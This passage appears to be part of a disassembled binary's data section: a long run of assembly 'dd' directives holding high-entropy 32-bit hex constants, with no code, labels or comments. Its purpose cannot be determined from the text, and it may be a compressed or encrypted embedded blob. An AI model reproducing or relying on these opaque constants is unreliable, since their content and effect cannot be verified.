		dd 25DA5035h, 5D0103F4h, 90ECAE6Ah, 0AE20112Fh,	0E2E002Dh
		dd 0D61D3166h, 2C1E48A3h, 0F2C08D3Fh, 0F8CBB02Ah, 0B96800B8h
		dd 493E179Ah, 0AB00484Dh, 3213BAFFh, 287A23BEh,	3F8058B1h
		dd 882C0EA2h, 112A0225h, 0AAE05D87h, 4C004BC6h,	0FCBBDACFh
		dd 291EE8h, 8CB5C1ADh, 60538C7h, 0DBFFA2Ch, 3E0EA14h, 0E1AA933Dh
		dd 0B5B79835h, 0B1A800A0h, 73852C5h, 9900BB01h,	5010157Ah
		dd 0EC9DF30h, 691625C6h, 2FA08AE0h, 0F909C5B7h,	2066D320h
		dd 9FE21C4Ch, 70D7F8Bh,	189B0145h, 4465404Bh, 2900E96Ch
		dd 0EF26BCC6h, 78291C8h, 722E9F78h, 0E94B4069h,	0A600D817h
		dd 0B0999522h, 67DF44C7h, 8405F123h, 3BC8C010h,	3F18C3B5h
		dd 8F780360h, 0EDA40765h, 507581F6h, 4819065Ah,	7C3D3E00h
		dd 0CFDF9EE5h, 16222C79h, 468038B8h, 7F42938Fh,	0A50EB0E8h
		dd 20CB49F4h, 0EC419737h, 120492EFh, 166BB159h,	2E6D0048h
		dd 0CD0D6894h, 0AE97F10Eh, 0F89C6C7Ah, 9AEE0002h, 2C87109Bh
		dd 76001A3Dh, 8D99DDE7h, 92D9B1FBh, 77F1001Ch, 50F853E4h
		dd 0C81C7F72h, 2240B640h, 3C219A47h, 128C037h, 9F7DE32h
		dd 0BD7A569Ah, 0CE6F6D00h, 79CA5A47h, 18DA602Dh, 8F95E543h
		dd 0C3211B00h, 0C291F037h, 7D8818EDh, 4EAFEFEh,	0ACCA2D3Ah
		dd 0A901B9A3h, 6A93DC2Ah, 3BE98CF8h, 0C9E3279Eh, 7CC00DB9h
		dd 0D1007232h
		dd 0F4C676DFh, 7224EAC2h, 8C0A0016h, 548F512Fh,	76039D58h
		dd 0F0CC6914h, 7481FC68h, 67E8C1CBh, 0BEB10761h, 7098C446h
		dd 0F5CEBF39h, 962D758h, 0E075FA3h, 0A29C218Fh,	80462596h
		dd 31EC00A6h, 9937C039h, 30078F94h, 646279FEh, 382940FFh
		dd 0E2DC9AE1h, 9176C7h,	2C7F4E11h, 19AF285Eh, 0E610F41Ch
		dd 7586BAC4h, 4EA6E8C0h, 6A7D0031h, 0D57E2DB0h,	19003EC6h
		dd 0A7C12821h, 5CF13B08h, 7D07DB2Ah, 70792DA1h,	0A57CF414h
		dd 0C7489900h, 5478C494h, 0CF028B6h, 89C80092h,	0D5665832h
		dd 770BBD22h, 804B5459h, 98866DD5h, 8E9500BCh, 90D9236Ah
		dd 0E101B3D2h, 651D31Bh, 98FF1C93h, 1782C53h, 0CFD8F368h
		dd 20237CDCh, 0EB00A6ACh, 8DD6ECABh, 0A5785Fh, 3C06BAAEh
		dd 86D5D3FDh, 9BC00400h, 84EFCB4Dh, 0BFFB24DFh,	0FD7C034Ah
		dd 0C69A6EF6h, 0D649C480h, 3B00511Ch, 0F1B17419h, 6E6392h
		dd 60AF3135h, 8377DD16h, 0B4E21FF2h, 3400C8FAh,	8F1185B8h
		dd 9D8AEF0h, 0B6A0A5F4h, 87730C07h, 27E35321h, 669842C8h
		dd 39557E00h, 1F304483h, 31A10074h, 0C9100FBDh,	0DE9042A3h
		dd 25836D00h, 238D41D6h, 3F51005Eh, 377DA2B4h, 0C1383CBEh
		dd 0E99F0456h, 0A7852DAFh, 1FC6C00h, 24C23AF8h,	38FE28h
		dd 0FF48826h, 0D3023F2Fh, 0BA67DE3Dh, 3A34E8F6h, 9A8D1855h
		dd 776828A2h, 253E4F0Ah, 830EC615h, 0F84F73E7h,	0EB79C016h
		dd 1C059A46h, 5D207266h, 9F8B8EDDh, 34BED180h, 6D007523h
		dd 0A497C604h, 0A2B0CFh, 1ADD8CBFh, 0A0687418h,	0BE2F3400h
		dd 97929B35h, 73B600F5h, 5A663B44h, 3400C7A3h, 3FFD24F7h
		dd 7F1F8149h, 5C054C5Ch, 0BFF0AB00h, 0A10E93C8h, 6099F5ECh
		dd 41580900h, 587B3C3Bh, 1807D9E6h, 0A7C1F8C8h,	945B105Fh
		dd 817F48FDh, 0F2A7B607h, 64820CC2h, 955C6082h,	6958004Dh
		dd 0C3890710h, 0A4902D5Eh, 0DFB49200h, 0E1F0B380h, 0A4A104F1h
		dd 0D06B6FC8h, 7E88D678h, 6334CD07h, 8D70B005h,	0E073ABh
		dd 3C1DAF8Eh, 0B9095B56h, 0B0FB6516h, 38BC0Bh, 0EB4FA569h
		dd 830A0950h, 2B80C5CFh, 0C87D6430h, 8E66153Ah,	1CDE13Bh
		dd 0D5298D84h, 1CD99860h, 0D6BBB7h, 313C5E4Dh, 0DE65367h
		dd 1A0504B0h, 0AC883087h, 0B9547CD0h, 98480006h, 0BF9D95FCh
		dd 974CFBB4h, 6B900003h, 0E327EACAh, 7EA307EFh,	50E69645h
		dd 0B6DBB89Fh, 3EF4FC00h, 0F3817299h, 0AB722Ch,	0A5CC8E61h
		dd 2AB61108h, 80102648h, 85ADAE1Bh, 0FCF70F96h,	2A651192h
		dd 19100343h, 9903ADA9h, 1F6DF930h, 0D26ED832h,	10E900D5h
		dd 2492A4DFh, 4B00A189h, 0FA3C7D85h, 1AABB1Eh, 0A4E71336h
		dd 7556CE83h, 0F71C0360h, 378E183Ah, 93F361C4h,	6CF9B811h
		dd 9981C092h, 1FD329Bh,	0D1342507h, 6280226Eh, 0C5C51219h
		dd 0C422A39h, 90900F58h, 0A5071300h, 2AB811B7h,	1878A828h
		dd 668520C5h, 7AE5B1Dh,	2F742E80h, 1034F8h, 9C56A2CDh
		dd 22AD0C0Bh, 1800904Ah, 0D27A6E52h, 79FA67ABh,	0C85E8651h
		dd 7E600127h, 0EB6E0E0Eh, 11193781h, 4F802469h,	55487A03h
		dd 8BD175B8h, 0D787E062h, 0A449C0BFh, 384E86AAh, 3F0F849h
		dd 33EAB481h, 0F3CAE1C3h, 0E21472F0h, 3F11072Ch, 5639D0A5h
		dd 19F2D0B9h, 0D887BB09h, 0D2346078h, 6808C05Ch, 0B2C0986Bh
		dd 52B3041Fh, 608DB03Bh, 0A057F15Bh, 60FC3288h,	7ACE0F3h
		dd 0C390D517h, 745EA25h, 6604FE9Ch, 4AF5B404h, 971014F3h
		dd 44085A84h, 9F48F7A5h, 107700A4h, 4B25C980h, 0F313B158h
		dd 20542870h, 5D2C1106h, 0D88CBC7Fh, 40C42969h,	5E00896Bh
		dd 16A14FFBh, 76136Ch, 0CDFCA6DFh, 35EF41D2h, 6F7C360Eh
		dd 14D50131h, 0CEC8228Eh, 9C2C00A4h, 3B48ECC5h,	26003AB8h
		dd 375F6373h, 926214h, 0DD6EE810h, 9FF14BB6h, 7DFCAE00h
		dd 0BA16B7E1h, 0C400089h, 639B5236h, 0C300A46Bh, 0B390120Dh
		dd 0E89CD0h, 0BBD297BAh, 62468838h, 0C978F275h,	14255E09h
		dd 971400E8h, 4055C5Dh,	9BAD79FFh, 1560B462h, 0A6DD7407h
		dd 6A97C7D7h, 649034C7h, 18B875Eh, 0A920778Ah, 0EC01ECEDh
		dd 4F050FD3h, 7D17F439h, 0E031AC0Fh, 8F9FDE83h,	0DCB32AF9h
		dd 0C168009Ch, 0D4B4A169h, 0F700877Ch, 0E875EA29h, 0A3E3F6h
		dd 8B2E3D0Fh, 8EE3373h,	611E6C75h, 76C04D3Ch, 2BC410BFh
		dd 0F27DE641h, 889800DDh, 91379C51h, 9E01D532h,	74BF55BEh
		dd 8834785Bh, 744AED4h,	0B8C12CE5h, 1067B7C5h, 7487ADF4h
		dd 304FF4A8h, 60CC2218h, 0C13A311h, 0AAAF081Ch,	48009641h
		dd 0E9950CD4h, 0AD7F77h, 3AA44AE8h, 9DFDE063h, 7855BC03h
		dd 0CF170B4Eh, 2C90A274h, 0FCB30Ah, 9CCC1FE1h, 47988CDCh
		dd 0B1001776h, 4C5DC303h, 92C71Eh, 27404293h, 6F56AB6Bh
		dd 0F91AAA01h, 75E4622Bh, 0A3BC20h, 49A485Fh, 0EEF3A878h
		dd 0F1AA7D00h, 72C6F8E5h, 0A2CB003Ch, 850837A4h, 0A1075E40h
		dd 71836E0Ch, 0E0815214h, 0E450A8EAh, 0AD0C9h, 0AE3403E3h
		dd 2415A0B7h, 7A465A00h, 4CEFDB28h, 0C3D51CA2h,	40EE5FBAh
		dd 0F9506121h, 0A6075202h, 45B0F2B2h, 7E2F9570h, 725C01BDh
		dd 3014705Dh, 0E580500Eh, 0FF008396h, 1A3D31D8h, 2ED00AB6h
		dd 0D0EF24h, 82061056h,	5D1233D4h, 8501ABE9h, 858C9362h
		dd 762367C4h, 0A7A500E8h, 83BEF897h, 0B7505DD3h, 0A038B84h
		dd 6FC42B9Dh, 0BEB0E0ACh, 1C410056h, 1AB3674Dh,	8D005342h
		dd 7F104983h, 0B0A645BFh, 86EF0070h, 0C8F5F8CBh, 0BB000E1Bh
		dd 7D23C526h, 0ED14EFEh, 7E5479A5h, 9067724Eh, 3B6FC050h
		dd 8F1033EEh, 0FF00032Bh, 679CB454h, 0D40004F2h, 0F869368Ah
		dd 5CCACEDh, 5FD0CF14h,	8C970E2Ah, 1F768B21h, 0F7DD40C3h
		dd 6500D561h, 673AFB9Ah, 505BF0A7h, 127DA480h, 1BC189h
		dd 988D4464h, 5404340Ah, 0ACBE8F1Dh, 0FC5522C3h, 513A3C80h
		dd 0CF7800A3h, 7931DAA5h, 187C86B8h, 22596501h,	41973CECh
		dd 1BE4E0h, 52FC4D5Ah, 956C2B1Fh, 60346300h, 8F64B4CEh
		dd 0BD2F00CFh, 0BBA7D094h, 0D87320E4h, 680984B2h, 60D6B2A3h
		dd 23A3B54h, 93110B62h,	6F227977h, 1AA0802Bh, 0FAE9849h
		dd 0CC672A84h, 0AF0C8FE0h, 0D11C1DC8h, 0E04A5159h, 3ADCA8h
		dd 0DBD32C22h, 4D6E1Fh,	4376613Fh, 23A3B151h, 3DAE2600h
		dd 8C173CCFh, 0BC1F007Bh, 0C99E139h, 3A00452Bh,	8096EEE5h
		dd 0FB2FCCh, 0FD4830B7h, 28B2846Bh, 2048506Eh, 0BC376E2Ch
		dd 0D1930049h, 7DB7E560h, 560E0475h, 0E3A3141Fh, 0B7EB98E3h
		dd 3B2B6030h, 407A1C67h, 0E21800E0h, 0F871AF02h, 0D170F20Fh
		dd 0C3C01FDBh, 61C79D1Eh, 7B37CE9h, 0C43E98A7h,	8E20EF47h
		dd 0EAD18D1Bh, 0F5C9FCFDh, 985D3100h, 0A4771DA3h, 1745004Bh
		dd 6DEB6809h, 0D900BCAFh, 297D59CBh, 9491DAh, 7CA4309Ah
		dd 1E7044EAh, 16E60800h, 7E3F62E5h, 5F4C0059h, 0C394180Dh
		dd 107398D8h, 0CA723B00h, 6C650A07h, 0C02000BEh, 0BF402D1Bh
		dd 2F008A5Dh, 96384729h, 17A4968h, 6AD704FBh, 0C439A6FCh
		dd 0F30017FAh, 4A5E7F84h, 7820DA9Eh, 8E681E7Bh,	0C041DC29h
		dd 9B7D6F8Dh, 0F200A82Eh, 76BF2CDBh, 4D6B07h, 9DF5056Eh
		dd 29C18ED6h, 8DDD3800h, 935CD9C0h, 0ED0D04EFh,	0C0BC7B0Eh
		dd 79A76E83h, 9FB0F461h, 0B9E8E314h, 0E68E0021h, 6F526B54h
		dd 6D000204h, 0A7ABC3B1h, 1CDBD783h, 3B7B6AEh, 0A91A9A88h
		dd 5A2CF7C8h, 91118900h
		dd 6BE0F367h, 0B2E8005Dh, 5926CA1Dh, 7E00A1A6h,	0D6F502BCh
		dd 3F7DD1C7h, 0E513F0B3h, 1891008Bh, 0F6FE89E8h, 0D39F1209h
		dd 43442008h, 0E570ECCh, 0F23369DCh, 9DD78500h,	0F60E2494h
		dd 0E343B43Eh, 0B60B3903h, 5BCB0098h, 80609A87h, 8200B820h
		dd 1811CF22h, 24F09113h, 2003BBh, 61E83DBEh, 0BD3BB6E4h
		dd 0FAC8BAh, 0AC041A4Ch, 1EBB124h, 0D4361208h, 0D830D04Ah
		dd 0C30496A4h, 0E6BDA37Ch, 0C8D33090h, 0AE21036Dh, 33A53938h
		dd 3C598BB8h, 7527900h,	80E5B173h, 946618E1h, 3370D88Eh
		dd 3641866Fh, 0E449B001h, 2080A3BAh, 71BF3F92h,	0D1005E7Eh
		dd 8CE78997h, 54851EA0h, 0EE8C8Dh, 864AA439h, 5E920F55h
		dd 0FC74F200h, 85594FBBh, 0C1270094h, 0A77D2DE2h, 5B059048h
		dd 0B565AB0Dh, 50C80180h, 9D5C0152h, 70C192Ch, 558801Ch
		dd 210BD565h, 3511CF55h, 0AC81D00Fh, 80936130h,	0B5A40B81h
		dd 1D6DAB22h, 832C8Dh, 0F7A3A86h, 14000372h, 711741EBh
		dd 0A2F2A68h, 60306D9Bh, 0B4660620h, 0C807F0B5h, 4D0BBFD5h
		dd 0FF349F40h, 415A0037h, 38AB73C6h, 0BF01C5CAh, 2510C83Dh
		dd 40804DCEh, 9FF0D28Eh, 0D538450Fh, 5DBAD7h, 0B58D0BDEh
		dd 0E66CA8Ch, 3BE57B2Ch, 0E71DAB60h, 0EF00E36Fh, 3ACF93E9h
		dd 32D69DAh, 0A6B70148h, 8C81CAD1h, 78A18090h, 9B611FF0h
		dd 1B6002Fh, 2E898704h,	0F118D0B8h, 0CE286453h,	3A980FD7h
		dd 1B8E9690h, 94B56260h, 87011FAAh, 0C62F8E30h,	0F0E1E9FBh
		dd 6D66E0h, 0F01091Ah, 832D5F80h, 3815906h, 12D9D088h
		dd 47961851h, 705DCF14h, 0C21D4209h, 43584400h,	3693716Fh
		dd 0D6200FDh, 0D58F307Bh, 24E8B021h, 817AE800h,	682F74CEh
		dd 0D08000F1h, 6A3F52F6h, 1701AACBh, 1B7B309Fh,	88D02EBDh
		dd 124D78CCh, 201996D8h, 0ACAB1350h, 8075CF3Fh,	7BDA3E6Ah
		dd 7541A742h, 0D9FF0F9Fh, 0EA8F3395h, 81969C0h,	5472FC48h
		dd 7B566300h, 0F20C0978h, 0E7583DDEh, 0C96ABE00h, 7A824392h
		dd 4B8502Ch, 3ECE2300h,	1188388h, 0B984787Eh, 0DCDBF36Ch
		dd 777DC96Bh, 22D15103h, 7C3ABC9Fh, 43F5271h, 53FAC0FAh
		dd 90A6C86Ah, 3218C0CBh, 0D00F7592h, 6DD49501h,	34A047EFh
		dd 0C72FCCh, 0CC58FCA6h, 74DE333Fh, 42E829C8h, 82E4005h
		dd 76578859h, 3E84BC90h, 28D44A42h, 0B9B09008h,	43447042h
		dd 272284B8h, 392442ACh, 0A0CCC481h, 88AE3B14h,	98896CF8h
		dd 219024F2h, 0C12A423h, 1F372885h, 408A114h, 846090A3h
		dd 88443C8Ah, 0A268445Ah, 0CA423448h, 215C243Dh, 48129DD0h
		dd 89377110h, 44D60860h, 6A409C9Fh, 4A433EFCh, 0D5E600F9h
		dd 710AF14Fh, 0AC7212E4h, 0D0AD0B00h, 89299DB7h, 0F3880052h
		dd 920FF4Ah, 3600C672h,	0D96015ABh, 1303BC1h, 9954A0E7h
		dd 0EF57F448h, 70621D99h, 0AE008831h, 475CD1FBh, 7F399A2Ch
		dd 25312686h, 1D181C2Fh, 513700C2h, 0DEA4195Eh,	4DA82300h
		dd 0F2497548h, 7B60071Eh, 0EA5D0F7h, 0CB8A8240h, 2700EC51h
		dd 74E0528Dh, 60E44818h, 0C386B4EEh, 0F8000FC5h, 0A1F0368Ch
		dd 3F3E8E4Bh, 2880B1F4h, 23ADC36Ah, 0E7001357h,	0D2B66655h
		dd 92C8E2h, 60B17EFBh, 23BE1046h, 0B2D53E04h, 7893F330h
		dd 0CF2FE8FBh, 0A164031Ch, 33AE225Fh, 5D715000h, 0E8837A9Fh
		dd 8AC70041h, 23BD557Eh, 0A013188Bh, 344024BEh,	15D99890h
		dd 671100F3h, 0CDF9C6DAh, 0BEEE9C6Bh, 0E660A300h, 0F5454250h
		dd 933D0049h, 681591D3h, 0E9032C6Eh, 0CC8678C4h, 9CFAF0C3h
		dd 0D68D0755h, 802232F7h, 89679523h, 459A700h, 2C5376E1h
		dd 0DFA40118h, 8FC4A922h, 0E021E13Ah, 6F900A15h, 17FF9D0Fh
		dd 57E1006Bh, 1F1D7A40h, 4673EB4Bh, 1233AC3Bh, 8CA5B400h
		dd 81987E97h, 75D30059h, 5CE1B8BEh, 44148BD4h, 0BCCA2Bh
		dd 0F50E27E3h, 613D40h,	4D1DD616h, 341A7902h, 28A25C00h
		dd 2242AA0Dh, 0B60401EDh, 712C101Bh, 38287898h,	4A5B80C3h
		dd 0BA18C4E6h, 68D13D82h, 1F89EA6h, 0F22FC3Fh, 0A8B0FF70h
		dd 0D4766712h, 0FB0C361Dh, 4DACD880h, 0F82EFC7Dh, 615D0027h
		dd 8824214h, 2503DB6Dh,	49F492AAh, 340AB130h, 12FF85DCh
		dd 7C6C73Bh, 60DB6790h,	5D2D0D39h, 8D32707h, 0B350A362h
		dd 311D5C1h, 0C836200Ch, 0EEA84182h, 3E0117F4h,	6B152D81h
		dd 0DAEC1157h, 0FFD30028h, 0BBFE5A40h, 101E3A2Eh, 0A4CF13F8h
		dd 0B1EB0166h, 81C9F53Dh, 1609C6E8h, 955DA5h, 0E519F44Ah
		dd 2500F8E2h, 0A8BBF98Dh, 35DD2CCh, 44C1449h, 287F6EEEh
		dd 50025300h, 0D4EAB001h, 0AC2900CDh, 6DCE243Bh, 87E075B2h
		dd 62051D01h, 0C10E1140h, 49586824h, 0AB0BCCD2h, 0F6872AB5h
		dd 0E74AC8h, 0C0467ADEh, 0AD001EE0h, 97524F98h,	0D514654Eh
		dd 3D00D8C1h, 0E9C1ED60h, 0DA26CD0Ch, 0CA0CC38Ah, 310E7h
		dd 242AA6CEh, 114F8C60h, 3C4E310Eh, 0DA74C029h,	2C7817FBh
		dd 24CD5C93h, 18D70027h, 0BC5F4D6Ch, 0D6E16300h, 0E2108A8Eh
		dd 21D1008Dh, 3959AEE9h, 0F21C881Bh, 0FEC11A9Ah, 22CC0DCAh
		dd 0B606DCh, 0A041F86Fh, 0A77376FFh, 0FE8E2000h, 0BEC6CB07h
		dd 0DC3E0089h, 95A402B9h, 0D7029985h, 0B88C2ADh, 51EA4049h
		dd 0F1BB0069h, 795D7C32h, 7102CADBh, 430F1863h,	9DE4405Bh
		dd 52E8E5h, 0F07506B4h,	411AD56h, 0CDB239h, 5EF3CCAAh
		dd 294EBEh, 0ED1027F2h,	13A94097h, 58D7662Fh, 61F9000Ah
		dd 0C006CFDAh, 0A0989EB4h, 18797700h, 44D0EB94h, 7E111EF2h
		dd 49C5D8DFh, 200DE28h,	0F756916Fh, 2A9F8Ah, 124F38F9h
		dd 0ED21F4DDh, 39419009h, 0F60C80DEh, 0EBBE98h,	84D6A619h
		dd 7E0F94Dh, 3A44C101h,	0A29AF7DBh, 1891E0EEh, 8BEE007Ah
		dd 0EF01E3D4h, 3D00487Dh, 0D2CDF0CAh, 3470Fh, 0BF2B7618h
		dd 37CE28E4h, 96FEFF03h, 0BBA58513h, 88D5F0C1h,	0E4D700A8h
		dd 0BA76F1A0h, 4A004CF4h, 313627AFh, 389CC9CCh,	9B044DD3h
		dd 8764CA13h, 632F0048h, 4B01A8DCh, 0F04AFE7Fh,	9040A518h
		dd 70C43Bh, 0F36891AAh,	3548FBBFh, 0EF96300Eh, 94EECADCh
		dd 45360980h, 12A05E01h, 0FD79A5h, 56B022ECh, 0A97A5750h
		dd 0DCCAB701h, 351DD18Ch, 1C0EE0h, 0F758346Dh, 53C3DDD2h
		dd 88AAAF00h, 21F55118h, 5E4300AEh, 1A90E7CDh, 0FC7F01BCh
		dd 0CA006C7Dh, 489ABB87h, 2BDDFBh, 0E89CA9A7h, 596AAD4h
		dd 56405100h, 6841D8C9h, 44CA0085h, 5ED2F4A5h, 9A708FA7h
		dd 1D3D77F4h, 86BA3Ah, 0ABDF974Eh, 0A91CF0h, 0EEB1346Eh
		dd 0D2A36001h, 720DB70Eh, 193260EBh, 7C45BB11h,	857305D1h
		dd 0C0F30471h, 0F1783CCh, 11C153Dh, 8D40B130h, 2CC85CD5h
		dd 0F3FC0EF7h, 78209A4Bh, 417EB532h, 4558D301h,	0DF8168DAh
		dd 0B0202C20h, 102300B0h, 88E33157h, 0F8B0B2E8h, 3AE8AF59h
		dd 0F9870094h, 0CC32F809h, 0F20C00F6h, 7B6A316Eh, 82008CA6h
		dd 0B53AB22h, 0DE65BCh,	853AF806h, 6B671EFAh, 0D87230E8h
		dd 1192A700h, 0A3E897D5h, 1C520021h, 4D754202h,	0CE0718D8h
		dd 0F29547A5h, 74BD57B0h, 0C755Ch, 9BE9F53Ch, 0EC4FE92h
		dd 0CEA48C00h, 0DB119EF2h, 5A450055h, 8805E9FAh, 0EC012343h
		dd 0E50B1507h, 9140D3A0h, 7AE3EA2h, 0E74F37B9h,	0AF41805Fh
		dd 3401D8BDh, 2226A3D9h, 0DEC8B56Ah, 0E4B90163h, 7692D395h
		dd 6470ECC6h, 256D1402h, 40185086h, 1C0FC753h, 2671ABh
		dd 0D61662Bh, 4C009F8Dh
		dd 7534DE11h, 3824B7h, 85DA08ABh, 8EC2CC6Bh, 83505E39h
		dd 3F031935h, 0DC1F0C9h, 6C021CE4h, 8A600B3h, 0A9CB9DC7h
		dd 6ABC6500h, 0EE5A8936h, 3F300022h, 0D74ACEA6h, 0DC1C55CCh
		dd 181F0F6h, 129D974Ch,	1611F7FCh, 92CE76h, 77B56E26h
		dd 3F058A0Bh, 0D6689ED9h, 0C0C014C4h, 1FAD3E6h,	0DB39CC02h
		dd 0FCC29BE0h, 0A500B838h, 4022B776h, 0A9115ADh, 5E33A710h
		dd 0D6C908F0h, 9CB81600h, 5D4BF749h, 20751CC4h,	40092CBh
		dd 0EA3943BEh, 0F9B9CA8h, 1DD2F052h, 0E6C3D640h, 0BC006C8Ch
		dd 4CF5A083h, 66E7380h,	5C7CB735h, 40198CCh, 32AE7DD8h
		dd 0F4342D7Bh, 477403E2h, 7911C7ADh, 3F8008F8h,	4A44900h
		dd 616D9E99h, 576500B2h, 9AE65BF9h, 600AFF6Fh, 0A46C3CAEh
		dd 5E189900h, 8CDB2Fh, 507727F7h, 9721EAB6h, 0DDF19600h
		dd 7F716680h, 0FB5A00E7h, 9F54D442h, 19B8AABDh,	60006090h
		dd 93DC28Fh, 0E15C2Ch, 27B4F93h, 0A41BE737h, 4FD04Ch, 0DB205BCBh
		dd 0B18F9526h, 0DE708088h, 0A417E93Eh, 1BEE007h, 0E03F1A05h
		dd 0B91382C7h, 18945Fh,	7117D148h, 7D4C5E54h, 519E00E0h
		dd 1E79D22Bh, 0FF4F07A7h, 619F23C5h, 0E9F84808h, 20EEE13Ah
		dd 0DF1E88C8h, 944785BAh, 4530AA16h, 0C35668h, 0D65E509Fh
		dd 0F3A58D4Eh, 0D7E60698h, 0ABBA8C50h, 1D00A5B0h, 0F55DFA92h
		dd 1F7CCDE4h, 81BEF26Eh, 8651CECFh, 0A3B170A1h,	0CDE7BB03h
		dd 0F824D9B8h, 3F24552h, 0EB19CB42h, 0C7B03D6Eh, 0B15891FCh
		dd 80633898h, 3368521Bh, 38A6BAh, 934C61CBh, 67AD146Ch
		dd 0D7A19109h, 85008997h, 0E4C9DDC0h, 137B0432h, 20ED43D1h
		dd 0FE183390h, 0B2E68E00h, 5F2D5067h, 53E80081h, 740B1726h
		dd 0A10138C0h, 346971Bh, 0C0609277h, 583900B7h,	512EEA94h
		dd 430E068Eh, 40FB386Eh, 0A2D0A876h, 497E0069h,	0FCD3BDCDh
		dd 0C600CE9Ah, 17EB3681h, 0B02BA8h, 0CCC73DB3h,	66E243A1h
		dd 88E97900h, 859635FEh, 0E6D10023h, 0CED374B8h, 687C491Dh
		dd 15222400h, 0C2CB11E5h, 7E1F007Dh, 55856BADh,	6400FDEFh
		dd 0CCE1C87Ah, 0FABED12h, 1671FEC1h, 548F22E2h,	30118C80h
		dd 0A900FF1Fh, 0C59BB9D2h, 0C084F6h, 57269866h,	79CBBC81h
		dd 20A54EDEh, 0DE5D2D9Ch, 7E5200AAh, 15E53401h,	0C31543A6h
		dd 408C6874h, 0D00B83AEh, 81F5599Dh, 0F8083ABBh, 93D11ECh
		dd 77ECC454h, 79213080h, 0DC17EE50h, 4C1E9E83h,	60032381h
		dd 0C260A905h, 0F84FC5Bh, 0D9893748h, 2E699BC0h, 0CF00E0DAh
		dd 6199F392h, 81CE5Eh, 19AE6286h, 0F0C93BB0h, 70437800h
		dd 0ED2B93A8h, 474C1ADAh, 8482A0A2h, 0C40DFBAh,	0F37D4A4Bh
		dd 74855816h, 0A9D5C10h, 901366AFh, 0C6D95100h,	10E1AEh
		dd 42A60FCBh, 9888376Ah, 0F22A4307h, 91E1173Ch,	743C0AE2h
		dd 9C04273Bh, 80B10542h, 0D8CF6828h, 195DFF00h,	0F839A5A4h
		dd 5F963048h, 72DBC210h, 0FDB45A00h, 0BF2F8EFFh, 0A6C0CA2h
		dd 3F50F61Bh, 32A70612h, 6F7B5F00h, 68B1FCh, 942CEB51h
		dd 5E99E3E5h, 1C987E01h, 37DA28B4h, 0E8807CEDh,	0B6C978DFh
		dd 62009EC3h, 839A9E2h,	0C0DA4F0Dh, 6BD11D20h, 9B2E419Fh
		dd 8038A0E8h, 63CD441Ch, 0BBA942h, 21C657A2h, 0DE608289h
		dd 7B98A3Ch, 0B63383Fh,	920E16B3h, 0A48CE023h, 83B4992Bh
		dd 980F6FBFh, 263F2080h, 88F10800h, 8EC96A53h, 0D3A201F8h
		dd 0C851D0B1h, 9D6BE418h, 10363E00h, 416F29F5h,	1B27AC7h
		dd 0FF64BF5Bh, 2C5F9CA7h, 80343FE8h, 55CEF119h,	0FDDDC8Ch
		dd 0A22E2891h, 0BE202B40h, 17005011h, 95CBE9A0h, 0A75569h
		dd 87B4148Ch, 70ED3167h, 3E0091F0h, 0D11ACC06h,	0F02F45h
		dd 2EB5EB42h, 0E0669D4Ah, 0C0BB8000h, 2DA16235h, 2B91F19h
		dd 0BDE780C6h, 0B52EAAFEh, 50D7200h, 7C0E1CBEh,	5AE60154h
		dd 0AD8CB847h, 2E56ECDCh, 7195F200h, 1E243F6Bh,	6CAF00D4h
		dd 0FD9F81Bh, 0E100CFCAh, 0B3DFBE12h, 0B465Dh, 709F5622h
		dd 0F27D11Eh, 18527900h, 892832D7h, 93260011h, 0B86053E5h
		dd 48C008D0h, 0CBB37CFDh, 241F00F8h, 8070AEC7h,	7702A397h
		dd 1D1A6F8Fh, 9A2460D0h, 96CD00EBh, 61A65468h, 39F47A57h
		dd 0A4E55209h, 355C0090h, 30C30592h, 788014B5h,	72009644h
		dd 0B49E65FAh, 7ED72Dh,	0E589F495h, 8466CF4Ah, 0DEAA3400h
		dd 0CE02790Dh, 0D95000B9h, 0E82753C3h, 0A6005207h, 4738159h
		dd 903175AEh, 87573D40h, 0E4A5F0Ch, 16009BC8h, 0B280FDF0h
		dd 78C02138h, 1D05072Ah, 80C47C70h, 5D333F6Fh, 9400C975h
		dd 0FFD51BFAh, 12739C07h, 9CC9ADDh, 408EA760h, 9FC50A60h
		dd 6A1E94CDh, 0BC80AE7Eh, 5F688554h, 48EA1A7Ah,	1482344Dh
		dd 0F0416EB8h, 0C5B0301Ah, 0F1C4F509h, 63200324h, 34ECE83Ch
		dd 5D7C000Ch, 0BB2505B5h, 98009111h, 0FFF42EE6h, 31F3BEh
		dd 4F95E35Eh, 56DFD8A4h, 6B0E0CE2h, 60FADEE1h, 0C8C37CD3h
		dd 0E8A907B7h, 0F9D973E0h, 7F8F8C20h, 3701A80Ch, 679FB17Ch
		dd 0EC40479Ch, 0FD3820Dh, 0F857D613h, 90F03640h, 6D00CE2Ch
		dd 692741A2h, 0E6ADF1DBh, 34C53B0Eh, 1707A458h,	0F4651FBEh
		dd 5B088071h, 283B67D2h, 85AFBAF0h, 0B4FA5D14h,	32C1F4C0h
		dd 83AD004Eh, 653C98F7h, 1600209Ah, 9E7DFCC2h, 0ECF918Dh
		dd 3BF72CDFh, 0E23AA660h, 7B006037h, 8C33BF12h,	0BE72AB0h
		dd 92C401ECh, 0B51000C0h, 0F3C7B01h, 0A79482C0h, 0C38C48h
		dd 761DFB28h, 786D4091h, 3D0EA23Dh, 1E2804Ah, 0A5D846C3h
		dd 0EC9A03F4h, 3E185AE0h, 3DEAEBF0h, 0C04C2F6h,	0E9F35F74h
		dd 6A9D98C0h, 7DBF008Ch, 4360D1E0h, 34001EA8h, 0AA8DF4AFh
		dd 95BA4CAh, 5F13FD9Ch,	0C0B99C80h, 6C3A97ECh, 7F8381D8h
		dd 0CD0CE894h, 3CCC2CC0h, 10876D13h, 30FCAE22h,	771B3A41h
		dd 4A49C200h, 0A5D60476h, 0FFFB09F2h, 46808E91h, 6F85AAB7h
		dd 807ED400h, 5CA7DC08h, 0FEF007Ch, 358AEEC9h, 0E03D7983h
		dd 0D1C68096h, 0DBB6BFF7h, 0B8940027h, 3B3331F6h, 83003FFDh
		dd 4161497Bh, 4FA9C8Eh,	99C82B14h, 84F6B8h, 8F23F0EAh
		dd 3D25A1h, 0AD8381A4h,	6B139355h, 0F8783A00h, 61185446h
		dd 3D700F4h, 0A3CC2D3h,	0D93E5830h, 1E523D33h, 6940509Dh
		dd 8AC93F05h, 741D07D1h, 64437CB2h, 6D44C056h, 0F500B97Ah
		dd 99861A8Ch, 929E2Ah, 0DE560FBFh, 0A57CA45Ah, 1E2D3EB8h
		dd 0ED200047h, 2E263622h, 3008302h, 0E1FF390Bh,	0C4805DB2h
